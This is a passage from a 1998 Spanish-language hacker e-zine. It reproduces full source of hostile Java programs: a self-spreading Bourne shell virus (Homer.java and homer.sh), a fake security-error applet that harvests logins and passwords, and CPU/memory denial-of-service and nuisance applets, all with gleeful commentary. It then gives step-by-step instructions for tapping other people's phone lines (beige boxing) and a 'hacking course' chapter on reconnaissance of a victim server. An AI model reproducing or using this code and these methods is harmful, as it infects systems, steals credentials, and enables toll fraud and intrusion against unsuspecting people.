  6871.         for (int i=0; i<hijacked.length; i++) {
  6872.             byter[i] = (byte)hijacked[i];
  6873.         }
  6874.         try {
  6875.            PrintStream jack = new PrintStream(new FileOutputStream(mainfile));
  6876.            jack.write(byter, 0, byter.length);
  6877.            jack.close();
  6878.         } catch (IOException ioe) {}
  6879.     }
  6880. }
  6881.  
  6882. ------------ FIN -------------------------------------------------------------
  6883.  
  6884.         Este programa infecta los sistemas Unix con un virus script del
  6885.   shell Bourne. Ademas cuando nuestro sistema este infectado saldra un
  6886.   mensaje diciendo que "java es seguro y los virus de unix no existen" ;-)
  6887.   Seguro que os gustara!!!
  6888.  
  6889. ------------ Codigo Fuente ---------------------------------------------------
  6890.  
  6891. /* Homer.java by Mark D. LaDue */
  6892.  
  6893. /* December 7, 1996 */
  6894.  
  6895. /*  Copyright (c) 1996 Mark D. LaDue
  6896.     You may study, use, modify, and distribute this example for any purpose.
  6897.     This example is provided WITHOUT WARRANTY either expressed or implied.  */
  6898.  
  6899. /* This Java application infects your UNIX system with a Bourne shell
  6900.    script virus, homer.sh.  homer.sh is kind enough to announce itself
  6901.    and inform you that "Java is safe, and UNIX viruses do not exist"
  6902.    before finding all of the Bourne shell scripts in your home directory,
  6903.    checking to see if they've already been infected, and infecting
  6904.    those that are not.  homer.sh infects another Bourne shell script
  6905.    by simply appending a working copy of itself to the end of that shell
  6906.    script.  */ 
  6907.     
  6908.  
  6909. import java.io.*;
  6910.  
  6911. class Homer {
  6912.     public static void main (String[] argv) {
  6913.     try {
  6914.        String userHome = System.getProperty("user.home");
  6915.        String target = "$HOME";
  6916.        FileOutputStream outer = new FileOutputStream(userHome + "/.homer.sh");
  6917.        String homer = "#!/bin/sh" + "\n" + "#-_" + "\n" +
  6918.         "echo \"Java is safe, and UNIX viruses do not exist.\"" + "\n" +
  6919.         "for file in `find " + target + " -type f -print`" + "\n" + "do" +
  6920.         "\n" + "    case \"`sed 1q $file`\" in" + "\n" +
  6921.         "        \"#!/bin/sh\" ) grep '#-_' $file > /dev/null" +
  6922.         " || sed -n '/#-_/,$p' $0 >> $file" + "\n" +
  6923.         "    esac" + "\n" + "done" + "\n" + 
  6924.         "2>/dev/null";
  6925.         byte[] buffer = new byte[homer.length()];
  6926.         homer.getBytes(0, homer.length(), buffer, 0);
  6927.         outer.write(buffer);
  6928.         outer.close();
  6929.         Process chmod = Runtime.getRuntime().exec("/usr/bin/chmod 777 " +
  6930.                         userHome + "/.homer.sh");
  6931.         Process exec = Runtime.getRuntime().exec("/bin/sh " + userHome +
  6932.                        "/.homer.sh");
  6933.         } catch (IOException ioe) {}
  6934.     }
  6935. }
  6936.  
  6937. ------------ FIN -------------------------------------------------------------
  6938.  
  6939.         Este programa es el virus script que acompaña al programa Java
  6940.   llamado Homer.java, el cual lo teneis justo encima ;-)
  6941.  
  6942. ------------ Codigo Fuente ---------------------------------------------------
  6943.  
  6944. #!/bin/sh
  6945.  
  6946. #-_
  6947.  
  6948. echo "Java is safe, and UNIX viruses do not exist."
  6949.  
  6950. for file in `find $HOME -type f -print`
  6951.  
  6952. do
  6953.  
  6954.     case "`sed 1q $file`" in
  6955.  
  6956.   "#!/bin/sh" ) grep '#-_' $file > /dev/null || sed -n '/#-_/,$p' $0 >> $file
  6957.  
  6958.     esac
  6959.  
  6960. done
  6961.  
  6962. 2>/dev/null
  6963.  
  6964. ------------ FIN -------------------------------------------------------------
  6965.  
  6966.   2- Invadir la privacidad.
  6967.  
  6968.         Con este tipo podemos obtener informacion confidencial del usuario
  6969.   que visite nuestro web (si!! su contraseña }:-) o cualquier cosa que se
  6970.   nos ocurra. Por desgracia java ofrece una seguridad efectiva contra este
  6971.   tipo de ataques.
  6972.  
  6973.         Como ya he dicho antes este codigo acompaña al applet llamado
  6974.   "LoginServerSocket.java". El siguiente codigo engaña al usuario diciendole
  6975.   que tiene un fallo de seguridad y que debe abrir el Netscape de nuevo y
  6976.   que debe meter su login y password, entonces el applet se encarga de
  6977.   recoger esta informaciom y dejarla en el Home de nuestra web.
  6978.  
  6979. ------------ Codigo Fuente ---------------------------------------------------
  6980.  
  6981. /* Ungrateful.java by Mark D. LaDue */
  6982.  
  6983. /* February 28, 1996 */
  6984.  
  6985. /*  Copyright (c) 1996 Mark D. LaDue
  6986.     You may study, use, modify, and distribute this example for any purpose.
  6987.     This example is provided WITHOUT WARRANTY either expressed or implied.  */
  6988.  
  6989. /* This Java Applet tries to convince you that your system is having
  6990.    a security problem and that you must now log in to start Netscape
  6991.    once again.  If you do so, your user name and password are sent
  6992.    by the browser to the home of this applet. In any event, the
  6993.    applet then proceeds to drop the bomb on your workstation. */ 
  6994.  
  6995. import java.awt.*;
  6996. import java.applet.Applet;
  6997.  
  6998. public class Ungrateful extends java.applet.Applet implements Runnable {
  6999.  
  7000. //  Just a font to paint strings to the applet window 
  7001.     Font bigFont = new Font("TimesRoman", Font.BOLD, 36);
  7002.  
  7003. //  These threads will attempt to  trick you
  7004. //  into logging in, and send your host, login name, and
  7005. //  password to its source 
  7006.     Thread controller = null;
  7007.     Thread sleeper = null;
  7008.  
  7009. //  Used to read in a parameter that makes the thread sleep for a
  7010. //  specified number of seconds taking effect
  7011.     int delay;
  7012. //  Used to read in a parameter that determines the port to which
  7013. //  Sockets will be connected
  7014.     public static int thePort;
  7015.  
  7016.     public void init() {
  7017.     setBackground(Color.white);
  7018.  
  7019. //  Determine how many seconds the main thread should sleep before kicking in
  7020.     String str = getParameter("wait");
  7021.     if (str == null)
  7022.         delay = 0;
  7023.     else delay = (1000)*(Integer.parseInt(str));
  7024. //  Determine the port number
  7025.     str = getParameter("portnumber");
  7026.     if (str == null)
  7027.         thePort = 7000;
  7028.     else thePort = Integer.parseInt(str);
  7029.     }
  7030.  
  7031.  
  7032. /*  Create and start the main thread in the standard way */
  7033.  
  7034.     public void start() {
  7035.         if (sleeper == null) {
  7036.         sleeper = new Thread(this);
  7037.         sleeper.setPriority(Thread.MAX_PRIORITY);
  7038.         sleeper.start();
  7039.         }
  7040.     }
  7041.  
  7042.     public void stop() {}
  7043.  
  7044.  
  7045. /*  Open a tricky window and start doing wasteful operations */
  7046.  
  7047.     public void run() {
  7048.  
  7049. //  Let the applet tell its lie
  7050.         repaint();
  7051.  
  7052. //  Let the applet sleep for a while to avert suspicion
  7053.         try {sleeper.sleep(delay);}
  7054.         catch(InterruptedException e) {}
  7055.  
  7056.         if (controller == null) {
  7057.         ErrorMessage err = new ErrorMessage();
  7058.         controller = new Thread(err);
  7059.         controller.setPriority(Thread.MAX_PRIORITY);
  7060.         controller.start();
  7061.         }
  7062.     }
  7063.  
  7064. /*  Paints the applet's lie */
  7065.  
  7066.     public void update(Graphics g) {
  7067.         paint(g);
  7068.     }
  7069.  
  7070.     public void paint(Graphics g) {
  7071.     g.setColor(Color.blue);
  7072.     g.setFont(bigFont);
  7073.     g.drawString("All Applets Are Trustworthy!", 10, 200);
  7074.     }
  7075. }
  7076.  
  7077. ------------ FIN -------------------------------------------------------------
  7078.  
  7079.   3- Denegacion de servicios (DoS - Denial Of Service).
  7080.  
  7081.         Como siempre, seguimos con los ataques de DoS, en este caso solo nos
  7082.   servira para joder al usuario, ya que tendra que resetear su ordenador
  7083.   despues de visitar nuestro 'magnifico' web y seguro que hara referencia a
  7084.   toda nuestra familia }:-) Este tipos de ataques pueden ser devastadores
  7085.   en algunos casos, por ejemplo imaginemos un ordenador el cual es muy
  7086.   importante porque gestiona la bolsa (logicamente esta trabajando todo el
  7087.   rato sin parar) entonces un usuario usa este ordenador para visitar web's
  7088.   y se encuentra con nuestro web y nuestro applet le ahoga la maquina, este
  7089.   tendra que resetear, como veis en este hipotetico caso los daños podrian
  7090.   ser muy importantes, economicamente hablando claro :)
  7091.  
  7092.         Este codigo fuente es un buen ejemplo de DoS ya que intenta bloquear
  7093.    el navegador y ahoga la CPU y la memoria, por lo que el usuario tendra que
  7094.    resetear su maquina.
  7095.  
  7096. ------------ Codigo Fuente ---------------------------------------------------
  7097.  
  7098. /* Consume.java by Mark D. LaDue */
  7099.  
  7100. /* February 18, 1996  */
  7101.  
  7102. /*  Copyright (c) 1996 Mark D. LaDue
  7103.     You may study, use, modify, and distribute this example for any purpose.
  7104.     This example is provided WITHOUT WARRANTY either expressed or implied.  */
  7105.  
  7106. /* This Java Applet is intended to bring your Java-aware
  7107.    browser to its knees by hogging both the CPU and memory. */
  7108.  
  7109. import java.awt.Color;
  7110. import java.awt.Event;
  7111. import java.awt.Font;
  7112. import java.awt.Graphics;
  7113. import java.awt.Image;
  7114.  
  7115. public class Consume extends java.applet.Applet implements Runnable {
  7116.  
  7117. //  Just a font to paint strings to our offscreen object
  7118.     Font wordFont = new Font("TimesRoman", Font.PLAIN, 12);
  7119.  
  7120. //  This thread will attempt to consume CPU resources
  7121.     Thread wasteResources = null;
  7122.  
  7123. //  An offscreen Image where all of the real action will occur
  7124.     Image offscreenImage;
  7125.  
  7126. //  All of the tools necessary to handle the offscreen Image
  7127.     Graphics offscreenGraphics;  // Needed to handle the offscreen Image
  7128.  
  7129. //  To avoid arrays and have open-ended storage of calculation results
  7130.     StringBuffer holdBigNumbers = new StringBuffer(0);
  7131.  
  7132. //  Used for the while loop in the run() method
  7133.     long n = 0;
  7134.  
  7135. //  Used to read in a parameter that makes the thread sleep for a
  7136. //  specified number of seconds
  7137.     int delay;
  7138.  
  7139.  
  7140. /* Set up a big blue rectangle in the browser and create an offscreen Image */
  7141.  
  7142.     public void init() {
  7143.     setBackground(Color.blue);
  7144.     offscreenImage = createImage(this.size().width, this.size().height);
  7145.     offscreenGraphics = offscreenImage.getGraphics();
  7146.  
  7147. //  Determine how many seconds the thread should sleep before kicking in
  7148.     String str = getParameter("wait");
  7149.     if (str == null)
  7150.         delay = 0;
  7151.     else delay = (1000)*(Integer.parseInt(str));
  7152.     }
  7153.  
  7154. /*  Create and start the offending thread in the standard way */
  7155.  
  7156.     public void start() {
  7157.         if (wasteResources == null) {
  7158.         wasteResources = new Thread(this);
  7159.         wasteResources.setPriority(Thread.MAX_PRIORITY);
  7160.         wasteResources.start();
  7161.         }
  7162.     }
  7163.  
  7164. /*  We won't stop anything */
  7165.  
  7166.     public void stop() {}
  7167.  
  7168. /*  
  7169.     This method repeatedly appends a very large integer to
  7170.     a StringBuffer. It can sleep for a specified length 
  7171.     of time in order to give the browser enough
  7172.     time to go elsewhere before it insidious effects
  7173.     become apparent. */
  7174.  
  7175.     public void run() {
  7176.         try {Thread.sleep(delay);}
  7177.         catch (InterruptedException e) {}
  7178.         while (n >= 0) {
  7179.         try { holdBigNumbers.append(0x7fffffffffffffffL); }
  7180.         catch (OutOfMemoryError o) {}
  7181.         repaint();
  7182.         n++;
  7183.         }
  7184.     }
  7185.  
  7186.     public void update(Graphics g) {
  7187.         paint(g);
  7188.     }
  7189.  
  7190. /*  Paints to the offscreen Image */
  7191.  
  7192.     public void paint(Graphics g) {
  7193.     offscreenGraphics.setColor(Color.white);
  7194.     offscreenGraphics.drawRect(0, 0, this.size().width, this.size().height);
  7195.     offscreenGraphics.setColor(Color.blue);
  7196.     offscreenGraphics.drawString(holdBigNumbers.toString(), 10, 50);
  7197.     }
  7198. }
  7199.  
  7200. ------------ FIN -------------------------------------------------------------
  7201.  
  7202.   4- Molestos.
  7203.  
  7204.         Como es logico estos ataques solo sirven para molestar al usuario,
  7205.   como por ejemplo con un sonido molesto e interminable y al igual que los
  7206.   DoS el usuario tendra que resetear el ordenador en el peor de los casos.
  7207.  
  7208.         Este applet de java es muy divertido, ya que cuando un usuario
  7209.    visite nuestro web, le aparecera un curioso osito ;-) que no se puede
  7210.    eliminar hasta que no se cierra el navegador.
  7211.  
  7212. ------------ Codigo Fuente ---------------------------------------------------
  7213.  
  7214. /*  NoisyBear.java by Mark D. LaDue */
  7215.  
  7216. /*  February 15, 1996 */
  7217.  
  7218. /*  Copyright (c) 1996 Mark D. LaDue
  7219.     You may study, use, modify, and distribute this example for any purpose.
  7220.     This example is provided WITHOUT WARRANTY either expressed or implied.  */
  7221.  
  7222. /*  This Java Applet displays a stupid looking bear with a clock
  7223.     superimposed on his belly.  It refuses to shut up until you quit
  7224.     the browser.  */
  7225.  
  7226. import java.applet.AudioClip;
  7227. import java.awt.*;
  7228. import java.util.Date;
  7229.  
  7230. public class NoisyBear extends java.applet.Applet implements Runnable {
  7231.     Font timeFont = new Font("TimesRoman", Font.BOLD, 24);
  7232.     Font wordFont = new Font("TimesRoman", Font.PLAIN, 12);
  7233.     Date rightNow;
  7234.     Thread announce = null;
  7235.     Image bearImage;
  7236.     Image offscreenImage;
  7237.     Graphics offscreenGraphics;
  7238.     AudioClip annoy;
  7239.     boolean threadStopped = false;
  7240.  
  7241.     public void init() {
  7242.     bearImage = getImage(getCodeBase(), "Pictures/sunbear.jpg");
  7243.     offscreenImage = createImage(this.size().width, this.size().height);
  7244.     offscreenGraphics = offscreenImage.getGraphics();
  7245.     annoy = getAudioClip(getCodeBase(), "Sounds/drum.au");    
  7246. }
  7247.  
  7248.     public void start() {
  7249.         if (announce == null) {
  7250.         announce = new Thread(this);
  7251.         announce.start();
  7252.         }
  7253.     }
  7254.  
  7255.     public void stop() {
  7256.         if (announce != null) {
  7257.         //if (annoy != null) annoy.stop();  //uncommenting stops the noise
  7258.         announce.stop();
  7259.         announce = null;
  7260.         }
  7261.     }
  7262.  
  7263.     public void run() {
  7264.         if (annoy != null) annoy.loop();
  7265.         while (true) {
  7266.         rightNow = new Date();
  7267.         repaint();
  7268.         try { Thread.sleep(1000); }
  7269.         catch (InterruptedException e) {}
  7270.         }
  7271.     }
  7272.  
  7273.     public void update(Graphics g) {
  7274. //        g.clipRect(125, 150, 350, 50);
  7275.         paint(g);
  7276.     }
  7277.  
  7278.     public void paint(Graphics g) {
  7279.         int imwidth = bearImage.getWidth(this);
  7280.         int imheight = bearImage.getHeight(this);
  7281.  
  7282.      offscreenGraphics.drawImage(bearImage, 0, 0, imwidth, imheight, this);
  7283.      offscreenGraphics.setColor(Color.white);
  7284.      offscreenGraphics.fillRect(125, 150, 350, 100);
  7285.      offscreenGraphics.setColor(Color.blue);
  7286.      offscreenGraphics.drawRect(124, 149, 352, 102);
  7287.      offscreenGraphics.setFont(timeFont);
  7288.      offscreenGraphics.drawString(rightNow.toString(), 135, 200);
  7289.      offscreenGraphics.setFont(wordFont);
  7290.      offscreenGraphics.drawString("It's time for me to annoy you!", 135, 225);
  7291.      g.drawImage(offscreenImage, 0, 0, this);
  7292.     }
  7293.  
  7294.     public boolean mouseDown(Event evt, int x, int y) {
  7295.         if (threadStopped) {
  7296.             announce.resume();
  7297.         }
  7298.         else {
  7299.             announce.suspend();
  7300.         }
  7301.         threadStopped = !threadStopped;
  7302.         return true;
  7303.     }
  7304. }
  7305.  
  7306. ------------ FIN -------------------------------------------------------------
  7307.  
  7308.         Supongo que ahora tendreis los dientes largos, pues yo no lo haria,
  7309.   ya que el hack en Java es relativamente dificil, hoy en dia los
  7310.   navegadores estan bastante protegidos contra estos ataques, si negamos
  7311.   que nuestro navegador deniege los applets en web que no conoces no nos
  7312.   pasara nada, el unico inconveniente es que todo el rato nos saldran
  7313.   las dichosas ventanitas avisandos sobre ello.
  7314.  
  7315.         Estas son las restricciones que los navegadores mas famosos imponen
  7316.   a los applets de java (logicamente me refiero a Internet Explorer y
  7317.   Navigator):
  7318.  
  7319.   - Los applets no pueden leer o escribir a archivos en la maquina del
  7320.     navegador (locales).
  7321.   - Los applets no pueden abrir una conexion de red a ninguna maquina que no
  7322.     sea su maquina de origen.
  7323.   - Los applets no pueden leer mas que ciertas propiedades del sistema, no
  7324.     criticas.
  7325.   - Si un applet se carga mediante un URL del tipo file: es cargado tambien
  7326.     por el cargador de applets, excepto si se halla en el CLASSPATH.
  7327.  
  7328.         Como vemos no todo es bonito, ya que en realidad si queremos que
  7329.   nuestro hacking en Java sea efectivo debemos estar a la ultima en
  7330.   asuntos de Java, ya que los ataques mas devastadores (categorias 1 y 2) son
  7331.   a causa de fallos en el runtime de Java y este tipo de informacion suele
  7332.   ser muy restringida. Se conocen varios fallos en el runtime en algunos
  7333.   laboratorios de seguridad informatica pero logicamente estos no suelen
  7334.   revelar sus descubrimientos.
  7335.  
  7336.   Y desde aqui saludar a toda la peña de #hackers, #hack, #rejoin &
  7337.   #seguridad_informatica
  7338.  
  7339.   Grupos como - J.J.F. / HACKERS TEAM -, CYBERHACK, WAKANDA, UNDERHACK,
  7340.   @pOkalypSYS y por supuesto todos los demas !!
  7341.  
  7342.   Y por supuesto: Bisho, Meroka, Folixia, Fragel, Ipgh0st, Metalslug, Dillet,
  7343.   Riddle, Hadden, Guybrush, Tdp, Virux, Cy, Angelipas, Schoddy guy, Xus,
  7344.   Unix-hell, Piotr, Muerte, Koji, Riddle, Case Zero, Nadia, Amanda, Janex,
  7345.   L.A., Enif y todos los que me dejo :)
  7346.  
  7347.                                                              NOBODY (c) 1998.
  7348.  
  7349. <────────────────────────────────────────────────────────────────────────────>
  7350. ██████████████████████████████████████████████████████████████████████████████
  7351. <────────────────────────────────────────────────────────────────────────────>
  7352.                          _________________________
  7353.                         |       OiOiOdoc #2       |
  7354.                         | Un pokillo de phreaking |
  7355.                         |          por            |
  7356.                         | DrSlump de OiOiO's Band |
  7357.                         |  DrSlump@CyberJunkie.com|
  7358.                          -------------------------
  7359.                          
  7360.         Bueno, antes de nada, aclarar que TODO lo escrito aquí es puramente
  7361.   con FINES EDUCACIONALES y , ni yo ni ningún miembro de OiOiO'S Band se hace
  7362.   responsable del mal uso que se le pueda dar, y esas cosas más que se dicen.
  7363.   Aclarado esto, vamos a por ello ;)
  7364.  
  7365.         Ante nada, decir que lo que aquí se va a comentar es una cosa muy
  7366.   cutre, que debemos agradecer a los coleguitas de la Timofónica.
  7367.  
  7368.         Voy a explicar como hacer beige boxing de guays en España, en otros
  7369.   paises no creo que varíe mucho la cosa, pero aquí está facilillo.
  7370.   Pal que no lo sepa, el beige boxing consiste en llamar por telefono desde
  7371.   la calle o cualquier sitio donde encuentres una cajita de Timofónica para
  7372.   poder pinchar tu "móvil" ;)
  7373.  
  7374.         Lo primero de todo pasa por pillarte un telefono, preferiblemente
  7375.   pequeño, de esos que solo tienen el mango, pq va a ser nuestro móvil (si
  7376.   quieres uno grande, tú mismo, pero es más dificil de esconder y más palo
  7377.   llevarlo ). Bien, aparte de eso necesitaremos, o bien unas pinzas de
  7378.   cocodrilo de esas, o un "enchufe" que se encuentra dentro de las cajas esas
  7379.   de la Timo (las grandes, las pequeñas no se pq no he abierto ninguna, aun)
  7380.   Bueno, el proceso está tirao, y pasa por cortar un cachito del cable que va
  7381.   a la roseta de la pared del telefono, y acoplarle ahí, o bien las pinzas, o
  7382.   bien el mencionado enchufe (en caso de tener cuatro cables, se ha de
  7383.   enchufar en los que quedaran enmedio , que generalmente son marrón y
  7384.   blanco). Tras ello ya tenemos móvil, y solo falta ir a llamar ;)
  7385.  
  7386.         Las cajas a las que me refiero están a una altura del pecho, y llevan
  7387.   el logo de la Timofónica, y algunas llevan una pegata que pone: "manipular
  7388.   solo con el instrumental adecuado", y tb suelen llevar números para indicar
  7389.   a los chupópteros de que zona se encarga la caja XDDDDD El proceso para
  7390.   encontrar cajas es bien sencillo. Busca por:
  7391.  
  7392.         -Barrios residenciales, por dos cosas : todas las casas son plantas
  7393.   bajas, y en las zonas con edificios las cajas suelen ser de esas pequeñitas
  7394.   que se colocan en las fachadas de los edificios, a la altura del 1er piso, y
  7395.   sobre todo, porque piensa que al llamar la puta Timofónica no pierde nada,
  7396.   ya que llamamos cogiendo la linea de un pobre incauto, que desconoce lo
  7397.   poco que la Timofónica protege su línea de telefono. Así, si estamos en una
  7398.   zona de ricos es lógico pensar que va a pagar algún acaudalado ricachón, con
  7399.   lo que no me remuerde en absoluto la conciencia sino que por el contrario,
  7400.   me anima a hacerlo ;) De todas formas ten en cuenta que en cualquier zona
  7401.   con casas que sean chalets o plantas bajas habrá cajas de estas ;)
  7402.  
  7403.         -Carreteras, o tramos en los que hay mucho campo. Para ello basta con
  7404.   fijarse en los palos por donde van los cables, y seguir los de telefonos
  7405.   (no es muy dificil), que son fáciles de reconocer pq muchas veces acaban en
  7406.   una especie de gran consolador negro encima del palo o si no, te fijas de
  7407.   las líneas que provienen de casas y van hacia la caja, que son los cables
  7408.   más finos que hay, y a menudo hay muuuchos cables de estos finos, así que
  7409.   solo hay que seguirlos 
  7410.  
  7411.         Bueno, ya hemos llegado a la caja, y ahora ...... ¡ESTA CERRADA!
  7412.   Tranquilo ;) Has de ir provisto de una llave de contadores de gas, de esas
  7413.   triangulares, o si no tienes (como yo), un buen destornillador (tiñaor de
  7414.   ahora en adelante ) hará de llave ;)
  7415.  
  7416.         Bien, si tienes la llave de contadores, te puedes saltar lo siguiente,
  7417.   que explica para paletos como abrir una caja con un tiñaor (la verdá es
  7418.   que no tiene secreto)
  7419.  
  7420.         Si eres de los que van con tiñaor en mano, sigue leyendo.
  7421.   Al toparte con la caja, puede darse la ocasión de que te encuentres con
  7422.   alguna de las más antiguas, que son de hierro o algo así, y suelen estar
  7423.   por el campo, carreteras y demás, así como en lugares donde la timo vaya
  7424.   poco, ya que parece que ahora todas las ponen de plástico 8)''' ;)
  7425.  
  7426.         Bueno, en este caso, pilla el tiñaor, lo metes por donde queda la
  7427.   cerradura, y espero que sea un buen tiñaor, pq ahora hay que hacer
  7428.   palanca O:) XDDDDDD
  7429.  
  7430.         Supongo que tras ello ya tendrás la caja, abierta, con sus cables,
  7431.   sus ruedecitas y sus agujeritos, ahora ya puedes pasar a la siguiente parte
  7432.   ;)
  7433.  
  7434.         Si sigues leyendo es pq has tenido la suerte de entontrarte con un
  7435.   cajetín de los de plástico, pues bien, estos son facilísimos de abrir.
  7436.   Puedes hacerlo como he dicho antes, con el tiñaor, o si se te ha olvidado
  7437.   en casa, simplemente pilla por la cerradura con las manos y pega un tirón ;)
  7438.   ¿Fácil, verdad? }:)
  7439.  
  7440.         Vale, ¿y ahora? Que coño hago! Bueno, pues ahora pilla el enchufe al
  7441.   que me refería antes, que está en la parte superior de la caja, aguantado
  7442.   con un hilo de pescar (si no se lo ha llevado alguien), y verás que hay
  7443.   unas ruedecitas negras con agujeros en las diagonales, y que a algunas les
  7444.   llegan unos cables del lado. Bien, pues los que tienen los cables son los
  7445.   que interesan, puesto que son los que tienen línea. Ahora solo hace falta
  7446.   enchufar el enchufe ese en alguno de esos, poniendolo por encima de la
  7447.   ruedecita, y de forma que pille los agujeros esos de las diagonales, y
  7448.   girarlo un poquillo para que enganche bien. Bueno, si eres de los que has
  7449.   endiñado el enchufe al móvil, solo te falta llamar, si le has puesto las
  7450.   pinzas, simplemente pincha una a cada patilla y a llamar tocan.
  7451.  
  7452.         Bueno, pues ahora solo queda que este, en un buen sitio para poder
  7453.   llamar sin problemas, o lo que sea. Puedes inventarte 1000 maneras de
  7454.   usarlo, desde pinchar la línea auxiliar de tu casa a casa del vecino, a
  7455.   pillarte un portátil e irte por la noche a festear de gratix, y demás
  7456.   ..... ;)
  7457.  
  7458.         Correcciones, sugerencias o lo que queráis en DrSlump@CyberJunkie.com
  7459.   Miembro oficial de OiOiO'S Band OiOiO's Band son : Arale, DrSlump,
  7460.   MaSHiRiTo, NiKoTXaN, tar0 & Turbo .... 
  7461.  
  7462. <────────────────────────────────────────────────────────────────────────────>
  7463. ██████████████████████████████████████████████████████████████████████████████
  7464. <────────────────────────────────────────────────────────────────────────────>
  7465.  
  7466.                               - CURSO DE HACK - 
  7467.                                   CHAPTER IV
  7468.  
  7469.         Bueno, como vimos en la tercera entrega del curso, analizar los
  7470.   puertos no es nada dificil. Ahora trataremos de analizar un server y
  7471.   sacar informacion del mismo con simples comandos de Unix/Linux y ademas
  7472.   definiremos los puntos de ataque a un servidor, logicamente nunca usaremos
  7473.   esta informacion para actos delictivos!! Este articulo esta enfocado no
  7474.   solo para los hackers sino tambien para los Administradores ya que es el
  7475.   "Modus Operandi" de muchos hackers.
  7476.  
  7477.   - Analisis Del Server Victima.
  7478.  
  7479.         En este apartado trataremos de sacar informacion de un servidor para
  7480.   saber sus puntos debiles, cuando esta o no este el root, sus usuarios, etc.
  7481.   A estas alturas ya sabemos que puertos tiene el servidor victima abiertos
  7482.   por lo que ahora usaremos los comandos del Unix/Linux para ampliar nuestra
  7483.   informacion del sevidor victima. Por lo que jugaremos con los comandos
  7484.   como finger, showmount, rpcinfo, whois, etc... Como vemos son comandos muy
  7485.   tipicos que ademas nos seran de gran ayuda, que conste que en este articulo
  7486.   solo estamos analizando porque lo que no se explicara en este articulo
  7487.   metodos de ataque con estos comandos, ademas que ya estan anticuados de
  7488.   todas formas.
  7489.  
  7490.         Empezemos el analisis, ya hemos escaneado los puertos del server
  7491.   victima y solo conocemos su url 'www.victima.com', entonces ahora queremos
  7492.   saber mas cosas por lo que ejecutamos:
  7493.  
  7494.   conde$ nslookup www.victima.com
  7495.  
  7496.         Nos saldra informacion del server en cuestion. su IP, su alias, su
  7497.   nombre, etc... informacion que nos sera muy util. Ahora haremos un finger
  7498.   para sacar info de los usuarios, de la siguiente manera:
  7499.  
  7500.   conde$ finger @victima.com
  7501.   [victima.com]
  7502.   Login       Name             TTY Idle     When    Where
  7503.   admin      Manolo             co   1d  Mon 06:15   casa.com
  7504.  
  7505.         En este ejemplo vemos que ahora mismo el Administrador esta conectado
  7506.   al server por lo que hay que tener cuidado :) y vemos que esta conectado
  7507.   desde casa, y si queresmos podemos intentar hacer el mismo proceso con
  7508.   'casa.com' para ver si podemos conectar con el odenador de su casa ;-) pero
  7509.   nosotros seguiremos con el 'victima.com'. Si por ejemplo nos sale un
  7510.   listado grande de usuarios podemos seguir utlizando el finger para obtener
  7511.   mas informacion, como por ejemplo:
  7512.  
  7513.   conde$ finger admin@victima.com
  7514.  
  7515.         Y asi indefinidamente. Tambien puede que el servidor victima no
  7516.   acepta el finger por lo que nos saldra un mensaje de rechazo y tendremos
  7517.   que seguir con otros metodos de analisis. Ahora pasaremos a saber que
  7518.   tiene montado el servidor victima y eso sera de la siguiente manera:
  7519.  
  7520.   conde$ showmount -e victima.com
  7521.  
  7522.         Con lo que nos saldra un listado si todo sale bien, logicamente.
  7523.   Tambiem podemos hacer un whois para ver que informacion nos sale:
  7524.  
  7525.   conde$ whois victima.com
  7526.  
  7527.         Ahora ya sabemos bastante informacion del servidor victima, pero
  7528.   todavia queremos sacar mas informacion por lo que usaremos el rcpinfo, ya
  7529.   que conseguiremos jugosa informacion ;-)
  7530.  
  7531.   conde$ rpcinfo -p victima.com
  7532.  
  7533.         Hecho esto podemos saber si el servidor utiliza NIS, informacion
  7534.   diversa e incluso si utilizan algun software de seguridad en muchos casos.
  7535.   Logicamente para saber como movernos debemos conocer el s.o. unix y el
  7536.   funcionamiento de redes, ya que tendremos que deducir muchas cosas que aqui
  7537.   no explico.
  7538.  
  7539.         A estas alturas ya estamos muy preparados pero todavia no nos basta,
  7540.   por lo que usaremos el telnet para conectar al puerto del sendmail, para
  7541.   averiguar la version.
  7542.  
  7543.   conde$ telnet
  7544.   telnet> open victima.com 25
  7545.         
  7546.         Tambien podemos darnos un paseo en el servidor victima, usando el
  7547.    FTP o el TFTP.
  7548.  
  7549.    conde$ ftp
  7550.    ftp> open victima.com
  7551.  
  7552.         Con estos 2 ultimos pasos sabemos que version tiene de sendmail y
  7553.    tambien que podemos hacer en el FTP. Ahora ejecutaremos el 'tcpmap' para
  7554.    saber que servicios rpc tiene abierto el servidor victima:
  7555.  
  7556.    conde$ tcpmap victima.com
  7557.  
  7558.         Y como en los ejemplos de antes nos saldra un listado con los
  7559.    servicios que tiene abierto y sabremos a que puertos podemos conectar :)   
  7560.    Aqui acaba el analisis del servidor victima. Ahora estamos preparados para
  7561.    analizar un servidor de una forma general. Como ya dije antes aqui solo
  7562.    estamos analizando por lo que no he explicado metodos de entrada al
  7563.    servidor victima.
  7564.  
  7565.         Aqui hemos visto como analizar y obtener ventaja sobre el
  7566.   Administrador del servidor victima, pero tambien para esta labor podemos
  7567.   usar determinadas herramientas como Satan, ISS, etc. En este caso siempre
  7568.   estamos desde un servidor remoto intentando obtener informacion de un
  7569.   servidor victima, con esto solo quiero decir que si ya estuviesemos dentro
  7570.   del servidor victima podemos aplicar otros metodos y herramientas de
  7571.   analisis.
  7572.  
  7573.   - Puntos Claves De Un Server.
  7574.   
  7575.         Los puntos de ataque de un servidor pueden ser muy variados, como
  7576.   por ejemplo desde meter un virus, borrar la informacion, bloquearlo,
  7577.   colgarlo, pillar root, etc. Por lo tenemos que tener cuidado con lo que
  7578.   hacemos, sobre todo porque nosotros no queremos dañar ningun servidor,
  7579.   simplemente queremos conocerlo y en todo caso ayudar al admin :)
  7580.  
  7581.         Ahora ya que sabemos que puertos tiene abierto el servidor victima,
  7582.   desarrollaremos un estrategia de ataque, siguiendo el siguiente esquema,
  7583.   en el cual se enumera los posibles puntos de acceso a un servidor:
  7584.  
  7585.   -> Debilidades en el FTP.
  7586.   -> Exportacion de programas no permitidos NFS.
  7587.   -> Exportacion via el portmapper NFS.
  7588.   -> Acceso al sistema de passwords del NIS.
  7589.   -> Acceso mediante REXD.
  7590.   -> Utilizacion de SATAN.
  7591.   -> Debilidades en el Sendmail.
  7592.   -> Acceso mediante TFTP.
  7593.   -> Acceso mediante shell remoto.
  7594.   -> Exportacion no restringida del NFS.
  7595.   -> Acceso no restringido a un servidor X.
  7596.   -> Uso no restringido de un modem.
  7597.   -> Escritura a un directorio principal FTP.
  7598.   -> Debilidades en un protocolo.
  7599.   -> Debilidades en software no perteneciente directamente al s.o.
  7600.  
  7601.         Como podemos apreciar aqui, muchos son los puntos de entrada a un
